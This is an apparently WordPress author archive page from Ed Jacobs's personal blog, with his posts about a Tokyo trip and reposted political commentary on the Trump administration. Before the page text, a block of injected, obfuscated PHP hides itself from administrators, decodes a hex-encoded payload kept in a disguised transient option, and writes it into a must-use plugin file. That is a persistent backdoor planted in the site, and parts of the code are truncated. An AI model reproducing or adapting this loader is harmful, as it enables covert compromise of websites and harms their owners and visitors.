if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS

EDWARD JACOBS

Author: Ed Jacobs

  • 16 December, 2025

    Tokyo. Shiodome neighborhood. A 10 minute walk from Hamarikyu Gardens, a Edo era retreat for Shoguns. The feel of Central Park.

    The trip here wasn’t ideal, with neither of us sleeping on the plane. So, not unexpectedly, we’re feeling the jet lag significantly. (14 hours ahead of EST here.).

    We awoke early yesterday, had a hearty b’fast in the hotel’s restaurant, and headed out to Hamarikyu Gardens. A few pix which give the Central Park vibe follow:

    within the gardens quite a few teahouses which served the shoguns and guests:

    We then walked onward to the Ginza district, this area reminiscent of 5th avenue. Big avenue, filled with the high-priced designers, etc.

    i didn’t take photos of the glitzy stores, but did catch a few local things. The first is a smoking area which, at first, i thought was a crowded bus-stop…and there was a long line to enter.

    and the image of Shohei Otani selling things here in Tokyo.

    We walked and walked, from 830a to 430p, then got back to the hotel. We wanted to stay awake until at least 7, which we did. Then slept until about 230 and tried to doze more. I finally got out of bed at 6, it’s now 630.

    We’re excited to meet a guide this morning at 9, and he’s got a nice itinerary set up for us until 5. We’ll get around much more than yesterday, take some trains, etc.

  • 14 December, 2025

    It’s 1:30am, and I have a few hours before our Uber arrives to take us to the airport. And that will begin a trip we’ve been planning for a year now. In about 24 hours we’ll land in Tokyo, where we’ll explore for three days before flying onward to Manila on Friday.

    Between Dec. 19 and March 13 we’ll travel around the Philippines, with lots and lots of diving and eye-opening experiences.

    It is, as we’ve been saying, our trip of a lifetime. This comes as a big sigh of relief following my retirement 18 months ago, marks our 20th wedding anniversary, and my 65th birthday.

    This is also a period which brings the passing of a number of friends. And cancer bringing a number of other friends to their knees. I suppose we are all too aware of the limited time ahead, and we are dearly holding on to what remains for us.

    And, at the same time, we have seen our third grandchild enter the scene. Gabriel joins Jackson (6) and Nate (4), and they are all just so very wonderful together.

    It’s a crazy time in the world these past months. Crazy in ways deeply frightening and fractious. People are being treated horribly and inhumanely; policies being announced at lightening speed, often contradictory; tariffs making the economy and prices reel.

    Pattie and I are hoping to see a world that opens our eyes to more and more possibilities, rather than being surrounded by the limiting views that seem so prevalent today.

    We’re off.

  • 3 November, 2025

    New York Times Opinion

    David French

    Why Trump Can Do No Wrong

    Nov. 2, 2025, 6:00 a.m. ET

    An illustration of a bowl of rotten fruit, with fruit flies hovering over top of it.
    Credit…Illustration by George Douglas; source photographs by Francesco Carta fotografo/Getty Images
    David French

    By David French

    Opinion Columnist

    I will never forget the moment when I realized that President Trump had transformed the way we think about political scandals.

    It was in September 2019, right after Trump released the memorandum of his July 25, 2019, call with Volodymyr Zelensky, the president of Ukraine. There, in black and white, was one of the clearest examples of an improper quid pro quo in foreign affairs that I’d ever seen.

    Zelensky told Trump that he would like to purchase Javelin anti-tank missiles for Ukraine. Trump responded with his own request. “I would like you to do us a favor,” he said, and proceeded to demand that Ukraine investigate a bizarre conspiracy theory prevalent in MAGA circles that Ukraine was actually responsible for election interference in 2016, and Russia had been wrongly blamed. Trump also demanded that Ukraine investigate Joe Biden and his son, Hunter.

    But it’s what happened next that convinced me that Trump was transforming politics. He called a clearly corrupt call “perfect” and kept calling it perfect until virtually every Republican rallied to his side or remained silent.

    It’s as if he had reversed the old saying “It’s not the crime; it’s the cover-up” into something entirely new. If there is no cover-up, then there must not have been a crime.

    If there is a word that describes the second Trump administration, it’s brazen. While I certainly hold open the possibility that dark deeds are being done in secret, one thing that is remarkable is how open and obvious he is with his self-dealing.

    He accepted the gift of a plane to serve as a new Air Force One (later to be handed over to the Trump presidential library) from Qatar — a nation that has supported Hamas for years and that is actively working to influence American politics through lavish expenditure — and then provided the country with an American security guarantee by executive order.

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    Trump pardoned a convicted crypto billionaire, Changpeng Zhao, after Zhao’s company, according to reporting by The Wall Street Journal, “took steps that catapulted the Trump family venture’s new stablecoin product, enhancing its credibility and pushing its market capitalization up from $127 million to over $2.1 billion.”

    In September, The Times published a report describing in great detail how the United Arab Emirates entered into a multibillion-dollar crypto deal with the Trump family and the family of Steve Witkoff, Trump’s Middle East envoy. “Two weeks later,” my colleagues reported, “the White House agreed to allow the U.A.E. access to hundreds of thousands of the world’s most advanced and scarce computer chips.”

    In August, The New Yorker’s David D. Kirkpatrick published a comprehensive accounting of how much Trump has profited from the presidency and concluded that so far he and his family made $3.4 billion during his terms in the White House.

    Trump’s corruption isn’t just financial. Trump is granting legal favors to his political friends while prosecuting his political enemies, and it is all out in the open. He freed even the most violent rioters who attacked the Capitol on Jan. 6 and then forced out a U.S. attorney who refused to prosecute James Comey or Letitia James. The acting prosecutor he appointed quickly filed dubious criminal charges against both Comey and James.

    For good measure, Trump then commuted the remaining prison sentence of the former Republican representative George Santos, writing in a Truth Social post that Santos “had the Courage, Conviction, and Intelligence to ALWAYS VOTE REPUBLICAN!”

    Trump’s defenders have a different — and telling — term for his misconduct. He’s not brazen, he’s “transparent.” In a CNN interview about Trump’s message to Pam Bondi directing her to prosecute Trump’s enemies, Senator Markwayne Mullin of Oklahoma said: “I think what we know is, President Trump is very open and transparent with the American people, and he speaks his mind. And that’s what his supporters love about him, and that’s what America loves about him.”

    In May, Mike Johnson, the speaker of the House, was even more explicit. When questioned about Trump’s crypto dealings during a news conference, Johnson said, “The reason many people refer to the Bidens as the Biden crime family is because they were doing all this stuff behind curtains.”

    “They were trying to conceal it,” Johnson continued, “and they repeatedly lied about it. Whatever President Trump is doing is out in the open. They’re not trying to conceal anything.”

    That’s a remarkable statement, and it’s assuredly not a real defense of Trump’s conduct. It’s as if Johnson is arguing that a bank robbery is only a crime if the assailant wears a mask. But if the robber walks in and smiles for the security cameras? Well, that’s out in the open. He’s not trying to conceal anything.

    Whether it’s by instinct or intention, Trump seems to have stumbled onto two key truths about his partisan supporters: They are desperate to rationalize, excuse and justify anything that he does, and they do not know much of anything about the law.

    In that circumstance, when Trump acts out, openly and proudly, they don’t just rally to his side because they believe him and admire him, although many do, but because they can’t quite believe that deeds done in the open can be just as corrupt as deeds done in secret.

    In normal politics the cover-up works as a form of concession. Outside of the occasional anonymous donor, who covers up good deeds? If your conduct is legal and moral, then why conceal it? But denial and evasion send a clear, contrary message — even I know that what I’m accused of is serious. I don’t want people to know the truth.

    The average American doesn’t know how foreign affairs are conducted, how the Department of Justice is run or the ethical lines around foreign business dealings. They’re almost always going to grant their partisan allies the benefit of the doubt. In fact, they often don’t even allow for the possibility of doubt.

    What if their favorite politician seems actually proud of what he’s done — if he boasts about it and can’t stop talking about it? Well, then they’re proud also. How can you impeach a man for a perfect phone call? Or for a shrewd business deal? Or for loyalty to his friends and allies?

    Last month, I attended the No Kings protest in Chicago as an observer. The city was tense as a result of aggressive ICE actions and attempts to deploy the National Guard. Republican politicians were warning that the protests were likely to be violent. So I had to go see the protests for myself.

    What I found was completely peaceful. The atmosphere — at least in the little corner that I observed — was even somewhat festive. The signs were creative, but one stood out. On a plain white poster board, a protester had written in big, black letters, “You try to fit it all on a sign.”

    I knew exactly how that protester felt. When you survey Trump’s second term, there is so much corruption, corruption that is open and obvious, that it’s actually difficult to summarize.

    But it’s worse than that. The very fact that it’s open and obvious is making it impossible, for now at least, to stop. In fact, his corruption only escalates. We are watching Trump execute supposed drug traffickers without due process and amass military assets outside of Venezuela without even the pretense of seeking congressional approval.

    But who needs Congress — or the law for that matter — when the president is in command? Even when it comes to matters of war and peace, MAGA defers to the man who tells them exactly what they want to hear.

    David French is an Opinion columnist, writing about law, culture, religion and armed conflict. He is a veteran of Operation Iraqi Freedom and a former constitutional litigator. His most recent book is “Divided We Fall: America’s Secession Threat and How to Restore Our Nation.” You can follow him on Threads (@davidfrenchjag).

  • 2 November, 2025

    From Heather Cox Richardson’s Letters from An American

    Yesterday I wrote that President Donald J. Trump’s celebration of his new marble bathroom in the White House was so tone deaf at a time when federal employees are working without pay, furloughed workers are taking out bank loans to pay their bills, healthcare premiums are skyrocketing, and Supplemental Nutrition Assistance Program benefits are at risk, that it seemed likely to make the history books as a symbol of this administration.

    But that image got overtaken just hours later by pictures from a Great Gatsby–themed party Trump threw at Mar-a-Lago last night hours before SNAP benefits ended. F. Scott Fitzgerald’s 1925 novel The Great Gatsby skewered the immoral and meaningless lives of the very wealthy during the Jazz Age who spent their time throwing extravagant parties and laying waste to the lives of the people around them.

    Although two federal judges yesterday found that the administration’s refusal to use reserves Congress provided to fund SNAP in an emergency was likely illegal and one ordered the government to use that money, the administration did not immediately do as the judge ordered.

    Trump posted on social media that “[o]ur Government lawyers do not think we have the legal authority to pay SNAP,” so he has “instructed our lawyers to ask the Court to clarify how we can legally fund SNAP as soon as possible.” Blaming the Democrats for the shutdown, Trump added that “even if we get immediate guidance, it will unfortunately be delayed while States get the money out.” His post provided the phone number for Senate minority leader Chuck Schumer’s office, telling people: “If you use SNAP benefits, call the Senate Democrats, and tell them to reopen the Government, NOW!”

    “They were careless people,” Fitzgerald wrote, “they smashed up things and creatures and then retreated back into their money or their vast carelessness or whatever it was that kept them together, and let other people clean up the mess they had made.”

    This afternoon, Ellen Nakashima and Noah Robertson of the Washington Post reported that the administration is claiming it does not have to consult Congress to continue its attacks on Venezuela. The 1973 War Powers Act says it does.

    In 1973, after President Richard M. Nixon ordered secret bombings of Cambodia during the Vietnam War, Congress passed the War Powers Resolution to reassert its power over foreign wars. “It is the purpose of this joint resolution to fulfill the intent of the framers of the Constitution of the United States and insure that the collective judgment of both the Congress and the President will apply to the introduction of United States Armed Forces into hostilities, or into situations where imminent involvement in hostilities is clearly indicated by the circumstances, and to the continued use of such forces in hostilities or in such situations,” it read.

    The law requires a president to notify Congress in writing within 48 hours of the start of hostilities, including the legal grounds for those hostilities, the circumstances that caused them, and an estimate of their scope and duration. The law requires the president to get the approval of Congress for any hostilities lasting more than 60 days.

    On September 4, 2025, Trump notified Congress of a strike against a vessel in the Caribbean that he said “was assessed to be affiliated with a designated terrorist organization and to be engaged in illicit drug trafficking activities.” The letter added: “I am providing this report as part of my efforts to keep the Congress fully informed, consistent with the War Powers Resolution.”

    Monday will mark 60 days from that announcement, but the administration does not appear to be planning to ask for Congress’s approval. It has been reluctant to share information about the strikes, first excluding senior Senate Democrats from a Senate briefing, then offering House members a briefing that did not include lawyers and failed to answer basic questions. The top two leaders of the Senate Armed Services Committee, Roger Wicker (R-MS) and Jack Reed (D-RI), have both said the administration has not produced documents, attack orders, and a list of targets required by law.

    Representative Gregory W. Meeks (D-NY), the top Democrat on the House Foreign Affairs Committee, told Nakashima and Robertson: “The administration is, I believe, doing an illegal act and anything that it can to avoid Congress.”

    T. Elliot Gaiser, who leads the Office of Legal Counsel under Trump, told a group of lawmakers this week that the administration is taking the position that the strikes on unnamed people in small boats do not meet the definition of hostilities because they are not putting U.S. military personnel in harm’s way. It says the strikes, which have killed more than 60 people, have been conducted primarily by drones launched off naval vessels.

    Brian Finucane, who was the War Powers Resolution lawyer at the State Department under President Barack Obama and during Trump’s first term, explained: “What they’re saying is anytime the president uses drones or any standoff weapon against someone who cannot shoot back, it’s not hostilities. It’s a wild claim of executive authority.”

    If the administration proceeds without acknowledging the Monday deadline for congressional approval, Finucane said, “it is usurping Congress’s authority over the use of military force.”

    —

    Notes:

    https://www.cnn.com/2025/10/31/politics/snap-benefits-november-judge-ruling

    https://www.nixonlibrary.gov/news/war-powers-resolution-1973

    https://assets.ctfassets.net/6hn51hpulw83/iOdLcVg6XVHorL4Rv5rWr/9a116b4c89cb06efee02dcd6df96bba1/20250904-Trump.pdf

    https://www.pbs.org/newshour/world/all-the-u-s-military-strikes-against-alleged-drug-boats

    https://www.washingtonpost.com/national-security/2025/11/01/trump-venezuela-war-drugs-law

    Bluesky:

    onestpress.onestnetwork.com/post/3m4ldvvz7322u

    meidastouch.com/post/3m4jy6x5iks2y

  • 9 October, 2025

    Heather Cox Richardson, Letters from an American:

    Yesterday, journalists observed members of the Texas National Guard at a U.S. Army Reserve Center in Elwood, Illinois, about 55 miles (89 kilometers) southwest of Chicago. This morning, the Defense Department announced the federal activation of about 200 soldiers from the Texas National Guard and about 300 from the Illinois National Guard, saying they would be protecting U.S. Immigration and Customs Enforcement (ICE) agents and other federal agents “who are performing federal functions, including the enforcement of federal law, and to protect federal property.”

    The statement said the National Guard soldiers “are under federal command and control in a Title 10 status.” The section of the legal code to which the announcement pointed was the one permitting the president to call into federal service members of the National Guard whenever the U.S. is invaded or in danger of invasion by a foreign nation, there is a rebellion or danger of a rebellion against the authority of the U.S. government, or the president cannot execute the laws of the United States with the power of regular law enforcement.

    It is this power under Title 10 that White House deputy chief of staff Stephen Miller yesterday claimed was “plenary,” or absolute. The idea that exceptions to the rule of law reveal who is really in charge of the government was central to the political philosophy of German political theorist Carl Schmitt, who joined the Nazis and whose work is increasingly popular among the radical right in the U.S. these days. Since taking office in January, Trump has declared at least eight national emergencies that the administration has used to justify the use of emergency powers.

    As J.V. Last of The Bulwark laid out clearly last night, there is no crisis in Chicago that makes it necessary for the administration to send in National Guard troops. Last points out that any instability in Chicago has been caused by the administration’s surge of federal agents into the city, where they shot and killed Chicago resident Silverio Villegas González; raided and ransacked an apartment building, leaving residents—including U.S. citizens and children—bound outside for hours; shot an unarmed woman, Marimar Martinez; and aimed a weapon at a resident who was simply recording what the agent was doing, In each case, the government initially insisted the federal agents either were under attack or were rounding up “the worst of the worst,” but subsequent information has showed the federal agents were the aggressors in each situation.

    Federal agents have held journalists, who are now suing ICE and the Department of Homeland Security for the use of “extreme force” against them, and pummeled them with tear gas and pepper spray. As Last notes, local police chief Thomas Mills has testified that the “use of chemical agents by federal agents at the ICE facility in Broadview has often been arbitrary and indiscriminate. At times it is used when the crowd is as small as ten people.”

    Illinois governor J.B. Pritzker warned that the administration is deliberately trying to “cause chaos, create fear and confusion, make it seem like peaceful protesters are a mob by firing gas pellets and tear gas canisters at them. Why? To create the pretext for invoking the Insurrection Act so that he can send military troops to our city.”

    As Joseph Nunn of the Brennan Center explained earlier this year, the Insurrection Act brings together a number of laws Congress passed between 1792 and 1871. They make up sections 251 through 255 in Title 10 of the United States Code. Together, they suspend the Posse Comitatus Act that prohibits the U.S. military from taking part in civilian law enforcement.

    The Insurrection Act permits the president to deploy troops to suppress “any insurrection, domestic violence, unlawful combination, or conspiracy” in a state that “opposes or obstructs the execution of the laws of the United States or impedes the course of justice under those laws.”

    Courtney Kube, Katherine Doyle, Carol E. Lee, and Garrett Haake of NBC News report today that White House officials, led by White House deputy chief of staff Stephen Miller, have been having increasingly serious discussions about having Trump invoke the act.

    This morning, President Donald J. Trump’s social media account posted: “Chicago Mayor should be in jail for failing to protect Ice [sic] Officers! Governor Pritzker also!”

    But Pritzker is standing up to the administration.

    “I will not back down,” he posted. “Trump is now calling for the arrest of elected representatives checking his power. What else is left on the path to full-blown authoritarianism?”

    “His masked agents already are grabbing people off the street. Separating children from their parents. Creating fear. Taking people for ‘how they look.’ Making people feel they need to carry citizenship papers. Invading our state with military troops. Sending in war helicopters in the middle of the night. Arresting elected officials asking questions. We must all stand up and speak out.”

    In an interview with MSNBC senior political correspondent Jacob Soboroff, Pritzker noted that Trump, who is a convicted felon, has a lot of nerve calling for Pritzker’s arrest. “[T]his guy’s unhinged. He’s insecure, he’s a wannabe dictator.” Pritzker said directly to Trump: “If you come for my people, you come through me. So come and get me…. We’ve done nothing wrong here and…it’s Donald Trump that is breaching the Constitution, breaking the law.”

    Illinois has sued to stop the administration from sending federalized National Guard troops from any state to Illinois, “because it is unconstitutional,” Pritzker said. “[I]t’s important to recognize that the Trump administration doesn’t seem to respect any laws in the United States. They just do what they want to do, and they’ll keep doing it unless someone stops them. Here in Illinois, we’re stopping it. We’re doing everything that we can to push back.”

    The administration is engaging in “a show of force,” Pritzker said, because it “wants to militarize major cities across the United States, especially blue cities in blue states, because he wants us to get used to the idea of military on the streets” before the 2026 elections. “I believe that he’s going to post people outside of ballot boxes and polling places. And if he needs to in order to control those elections, he’ll assume control of the ballot boxes” and let the administration count the results. Pritzker said we will have free and fair elections in 2026, “if we all stand up and speak out.”

    Today the White House tried harder than ever to push the idea that the country is consumed by violence from the “Radical Left.” This afternoon a press release from the White House claimed that “[f]or years, an Antifa-led hellfire has turned Portland into a wasteland of firebombs, beatings, and brazen attacks on federal officers and property—yet the Fake News remains in shameful denial about the Radical Left’s reign of terror.” In fact, before Trump ordered troops into the city, federal agents described the small protests at the ICE facility as “low energy,” consisting of people standing in front of vehicles, raising a middle finger, and playing loud music.

    To push the administration’s narrative, Trump held an “Antifa Roundtable” at the White House this afternoon. There, far-right influencers tried to make the case that “antifa” is real and has harassed them, although as The Guardian noted, many of those influencers feed their media channels by confronting protesters and filming the responses they’ve provoked. The press release claimed that “terrorists” have “laid siege” to the ICE office in Portland, Oregon, and at the meeting, Trump claimed that “paid anarchists” want to “destroy our country.” Bizarrely, he claimed that “I don’t know what could be worse than Portland. You don’t even have stores anymore. They don’t even put glass up. They put plywood on their windows.”

    Antifa is a term used by the far right to define anyone who does not support MAGA: it means “antifascist.” During the meeting, influencer Jack Posobiec—a proponent of the Pizzagate conspiracy theory—warned that “Antifa” went back all the way to Germany’s Weimar Republic. As Holly Baxter of The Independent pointed out, “it is absolutely true that there were anti-fascist protesters in the Weimar Republic. If you’ll remember, those were the people taking issue with the early versions of the Nazis.”

    —

    Notes:

    https://abcnews.go.com/US/wireStory/national-guard-members-texas-illinois-trumps-latest-move-126294216

    https://www.northcom.mil/Missions/Homeland-Defense/Federal-Protection-Mission

    https://codes.findlaw.com/us/title-10-armed-forces/10-usc-sect-12406

    The Bulwark

    The Chicago Rubicon and What Comes Next

    I don’t like sending out “emergency” newsletters, but I’ve had my eye on the situation in Chicago all day and tonight Texas National Guard troops arrived on Illinois soil, in defiance of the wishes of the Illinois governor and the Illinois National Guard’s adjutant general…

    Read more

    https://abc7chicago.com/post/chicago-journalists-nabet-local-41-file-lawsuit-ice-dhs-alleging-extreme-force-during-broadview-protests-facility/17950793

    https://abcnews.go.com/US/texas-national-guard-headed-illinois-gov-pritzker-calls/story?id=126283676

    https://www.npr.org/2025/06/09/nx-s1-5424666/trump-national-emergencies-democracy-supreme-court-constitution

    https://www.brennancenter.org/our-work/research-reports/insurrection-act-explained

    https://www.nbcnews.com/politics/national-security/trump-officials-insurrection-act-national-guard-deployment-sources-rcna236194

    https://www.nbcnews.com/politics/national-security/trump-officials-insurrection-act-national-guard-deployment-sources-rcna236194

    https://www.newsweek.com/stephen-miller-plenary-authority-remark-raises-eyebrows-10845409

    https://www.theguardian.com/us-news/live/2025/oct/08/donald-trump-james-comey-justice-department-national-guard-chicago-antifa-government-shutdown-us-politics-live-news-updates

    https://www.the-independent.com/news/world/americas/trump-antifa-portland-pam-bondi-posobiec-b2842048.html

    https://www.nytimes.com/2025/10/08/us/politics/trump-portland-troops.html

    https://www.whitehouse.gov/articles/2025/10/portland-fake-news-ignores-antifa-violence-residents-pleas-for-help

    YouTube:

    https://www.msnbc.com/chris-jansing-reports/watch/pritzker-to-trump-come-and-get-me-249368133645

    Bluesky:

    govpritzker.illinois.gov/post/3m2orkcb74c2l

    ronfilipkowski.bsky.social/post/3m2nbv6vsfc2z

    atrupar.com/post/3m2ph7zr3f42e

  • 28 September, 2025

    We can only hope that the tide will begin to turn soon…

    From today’s Letters from an American, by Heather Cox Richardson:

    Yesterday, Democrats on the House Oversight Committee released items from a third batch of documents associated with the criminal investigation of convicted sex offender Jeffrey Epstein. The Republicans have been slow-walking the release of those files since news broke that they mention President Donald J. Trump, a close friend of Epstein during the years of his sex trafficking. The batch of documents includes phone message logs, flight logs and manifests, and Epstein’s daily schedule.

    Those documents show that billionaire Peter Thiel, who financially supported Vice President J.D. Vance’s Senate campaign, and Trump ally Steve Bannon had scheduled meetings with Epstein. And they show that Elon Musk had a pending trip to Epstein’s private island.

    Trump responded hours later by ordering his administration to declassify and release all government records related to…Amelia Earhart. Earhart was an early American aviator, the first woman to fly solo across the Atlantic. On July 2, 1937, she disappeared over the Pacific Ocean. Her disappearance and presumed death have fascinated people ever since.

    But these are not the files most Americans are seeking right now.

    Since yesterday, Trump has been active on social media. He has warned pregnant women in all caps: “DON’T USE TYLENOL UNLESS ABSOLUTELY NECESSARY, DON’T GIVE TYLENOL TO YOUR YOUNG CHILD FOR VIRTUALLY ANY REASON, BREAK UP THE MMR SHOT INTO THREE TOTALLY SEPARATE SHOTS (NOT MIXED!), TAKE CHICKEN P SHOT SEPARATELY, TAKE HEPATITAS [sic] B SHOT AT 12 YEARS OLD, OR OLDER, AND, IMPORTANTLY, TAKE VACCINE IN 5 SEPARATE MEDICAL VISITS!”

    Trump is not a doctor. His recommendations appear to come from the secretary of health and human services he appointed, Robert F. Kennedy Jr., who is neither a doctor nor a scientist. The danger of giving medical advice without expertise shows: among other things, the MMR—measles, mumps, and rubella—vaccine is not available in three separate shots.

    Trump has demanded that Microsoft fire its global affairs president, Lisa Monaco, who as deputy attorney general in the Biden administration helped coordinate the response of the Department of Justice to the January 6, 2021, attack on the U.S. Capitol by Trump supporters. Trump posted on social media that Monaco is “a menace to U.S. National Security, especially given the major contracts that Microsoft has with the United States Government.”

    Trump has claimed the FBI placed “274 FBI Agents into the Crowd just prior to, and during, the January 6th Hoax,” “probably acting as Agitators and Insurrectionists,” noting that this “is different from what Director Christopher Wray stated, over and over again!” He went on: “Christopher Wray, the then Director of the FBI, has some major explaining to do. That’s two in a row, Comey and Wray, who got caught LYING.”

    In fact, a report from the Department of Justice inspector general shows that there were no undercover FBI agents at the January 6 riots. There were 26 confidential human sources who worked with the FBI during the events, but the inspector general found that none were “authorized by the FBI to enter the Capitol or a restricted area or to otherwise break the law on January 6, nor was any CHS directed by the FBI to encourage others to commit illegal acts on January 6.”

    When people pointed out that Trump himself appointed Wray, he posted: “For those who are interested, and there aren’t many of you, Christopher Wray was recommended to me by Sloppy Chris Christie when Chris was in my “good graces”—which was a very long time ago!”

    Trump posted a cartoon today of an angry version of himself telling a sad version of Federal Reserve chair Jerome Powell—yet another Trump appointee—“YOU’RE FIRED!” Trump is eager to get rid of Powell, who is not lowering interest rates to pump up the economy as fast as Trump wants.

    Trump also posted: “At the request of Secretary of Homeland Security, Kristi Noem, I am directing Secretary of War, Pete Hegseth, to provide all necessary Troops to protect War ravaged Portland, and any of our ICE Facilities under siege from attack by Antifa, and other domestic terrorists. I am also authorizing Full Force, if necessary. Thank you for your attention to this matter!”

    Zane Sparling, Fedor Zarkhin, and Zaeem Shaikh of The Oregonian/OregonLive compiled a timeline of protests against the U.S. Immigration and Customs Enforcement building in Portland. They noted that the last arrest of protesters by Portland police was on June 19, bringing the total to 25, and the last arrest by federal officers was on July 4, bringing the total to 22.

    After a Labor Day protest downtown, more than 100 people marched to the ICE building and set up a makeshift guillotine. Federal officers responded with tear gas and pepper balls. On September 4 the Fox News Channel aired a story about the Labor Day protests, but mixed in clips from 2020 showing protesters burning the base of the Thompson Elk Fountain and a federal officer pepper-spraying a protester. The next day, Trump said he was considering federal intervention. “They’ve ruined that city,” he said. “It’s like living in hell.”

    On September 17, Portland officials said ICE had violated its land use agreement by holding detainees for longer than 12 hours, opening the door for the city to force ICE to move. Two days later, The Oregonian/OregonLive published a video of federal agents hitting nonviolent protesters and using chemical spray on them. Portland mayor Keith Wilson called for a full investigation; Trump said people in Portland are “out of control and crazy,” and vowed to “stop that pretty soon.”

    On September 22 the president signed an executive order designating “Antifa” as “a major terrorist organization,” and three days later he called demonstrators in Portland “professional agitators and anarchists.” The day after that, September 26—yesterday—Democratic members of Oregon’s congressional delegation, including Senators Ron Wyden and Jeff Merkley and representatives Suzanne Bonamici, Maxine Dexter, and Andrea Salinas, visited the ICE facility. They called out the violence against protesters and said they were “not at all satisfied with the answers and the evasion” they got from ICE agents about their treatment of detainees.

    In response to Trump’s announcement that he was directing Secretary Hegeseth to send troops, authorized to use full force, to Portland, Senator Wyden—who has led the push to force the Treasury to turn over Epstein-related Treasury records of at least $1.5 billion in suspicious transactions to Senate investigators—posted a video of the ICE facility Trump claims is under siege. There were no people there at all.

    “My message to Donald Trump is this,” Wyden posted: “we don’t need you here. Stay the hell out of our city.”

    —

    Notes:

    https://oversightdemocrats.house.gov/news/press-releases/oversight-democrats-release-third-batch-documents-jeffrey-epstein-estate

    https://www.reuters.com/business/trump-says-microsoft-should-fire-its-global-affairs-president-lisa-monaco-2025-09-26

    https://oig.justice.gov/news/doj-oig-releases-report-fbis-handling-its-confidential-human-sources-and-intelligence

    https://www.finance.senate.gov/ranking-members-news/new-wyden-bill-would-force-treasury-to-turn-over-epstein-files

    https://www.oregonlive.com/politics/2025/09/oregon-democratic-delegation-slams-ice-federal-use-of-force-against-protesters.html

    https://www.oregonlive.com/politics/2025/09/how-protests-outside-portland-ice-unfolded-before-trumps-troop-announcement.html

    https://www.theguardian.com/us-news/2025/sep/27/portland-oregon-us-military-trump

    Instagram:

    reel/DPFKkA_kuaI/

    Bluesky:

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    digby56.bsky.social/post/3lzua3zmo2l25

    atrupar.com/post/3lzqpitkths2h

  • 27 September, 2025

    From today’s New York Times:

    By Garrett M. Graff
    Mr. Graff is a journalist, a historian and the author of “The Devil Reached Toward the Sky: An Oral History of the Making and Unleashing of the Atomic Bomb.”

    Thursday’s charges against James Comey follow a tumultuous week that echoed Richard Nixon’s Saturday Night Massacre, amid the heart of Watergate in 1973.

    This time, the federal attorney for the Eastern District of Virginia Erik Siebert resigned after refusing to bring politically motivated charges against Donald Trump’s enemies, so the president railed to his attorney general, Pam Bondi, in a social media post about inaction against Mr. Comey. A shockingly inexperienced interim U.S. attorney, Lindsey Halligan, was appointed and Mr. Comey indicted. Mr. Trump declared in another post that we got “JUSTICE IN AMERICA!”

    We have seen much debate over the merits and timing of a legal case against Mr. Comey, but any such discussion misses the most important point: We don’t want to live in a country where the president of the United States dictates, publicly or privately, who should be targeted by federal prosecutors and then pressures any prosecutor unwilling to bring said politically motivated charges. The Justice Department and the attorney general are supposed to keep an arm’s length distance from the president, not be his personal score settlers.

    The fact that it’s possible to predict the next target — presidential rantings indicate that it could be John Bolton, Letitia James or Adam Schiff — shows how corrupted this usually independent process has become.

    I have been critical of Mr. Comey for years. I believe that as director he did grave damage to the reputation of the F.B.I. and that he bears no small responsibility for the election of Mr. Trump in 2016. In the years since his infamous news conference exonerating and excoriating Hillary Clinton and his subsequent firing by Mr. Trump after he refused to drop the F.B.I. investigation of the former White House national security adviser Michael Flynn, Mr. Comey has managed to alienate nearly everyone on the left and the right.

    Sign up for the Opinion Today newsletter  Get expert analysis of the news and a guide to the big ideas shaping the world every weekday morning. Get it sent to your inbox.

    But over many years Mr. Comey served his country, and in however flawed a way, he put his efforts at the service of institutions — the F.B.I., the Justice Department — built and sustained to serve the American people, not the president’s whims.

    There is no small irony in the fact that it was the federal prosecutors of the Eastern District of Virginia who led the indictment of Mr. Comey — one of the Justice Department’s most storied and respected offices, where Mr. Comey himself did some of the most memorable work of his own prosecutorial career, including leading the delicate and politically sensitive prosecution of the bombers of Khobar Towers in Saudi Arabia.

    Thursday’s indictment, which accuses Mr. Comey of making false statements and obstructing justice, marks a much less proud and altogether darker chapter for the Eastern District. Ms. Halligan, who served as the president’s own lawyer, lacked prosecutorial experience before this week and until days ago was a White House official tasked with rooting out “woke” ideology at the Smithsonian Institution, brought the charges against Mr. Comey just days before a statute of limitations would expire. This came even after the career prosecutors in her office recommended against the case, saying it was too weak to meet Justice Department standards.

    It seems as though Mr. Trump would actually praise much of Mr. Comey’s work in the Eastern District of Virginia today, in light of Mr. Trump’s assault against street crime in Democratic-led blue cities. When Mr. Comey was a young rising star leading the Eastern District prosecutors in Richmond, Va., in the late 1990s, one of his proudest accomplishments was an operation known as Project Exile. There, prosecutors threw the full weight of the U.S. government against street criminals to arrest a stubbornly high local homicide rate, and it worked spectacularly: In three years, Richmond’s homicide rate was halved.

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    A decade after Mr. Comey left that role, after he had scaled the Justice Department’s heights to serve as deputy attorney general in the years after Sept. 11, 2001, he went to work in the private sector at Lockheed Martin and a plaque honoring Project Exile decorated his walls.

    Step by step, action by action, Mr. Trump has been trying to turn the Justice Department and the F.B.I. into political weapons that target whom he tells them to. The weaponization of federal criminal charges against political enemies stands as one of the most alarming signs of Mr. Trump’s creeping authoritarian tendencies.

    Mr. Trump’s future plans are worryingly clear. Hours before the Comey charges became public, he signed a presidential memorandum that outlined how he hopes the full weight of the federal government will be turned against domestic terror groups. The sweeping order so twists the definition of “domestic terror” that it is likely the intent could be to sweep up progressive activist groups, think tanks, their funders (the MAGA bête noire George Soros appears a likely target) and groups like the League of Women Voters.

    Kash Patel, the F.B.I. director, stood in the Oval Office for the announcement on Thursday and promised, “We are properly going to chase them down like the domestic terrorists that they are,” and added that the full might of the bureau’s Joint Terrorism Task Forces would be used to “root out this new evil.” His comments all but admit that the F.B.I. will ignore what’s known as the Attorney General Guidelines, which prohibit investigations based solely on protected First Amendment activity.

    The weak case against Mr. Comey will almost surely lead nowhere. In targeting him, Mr. Trump has picked someone who is many things he is not: meticulous, careful and prone to careful documentation. When the I.R.S. previously — and suspiciously — audited Mr. Comey and his wife during Mr. Trump’s first term, the examination found that Mr. Comey had in fact conservatively overpaid his taxes. The Comeys got a $347 refund from the I.R.S.

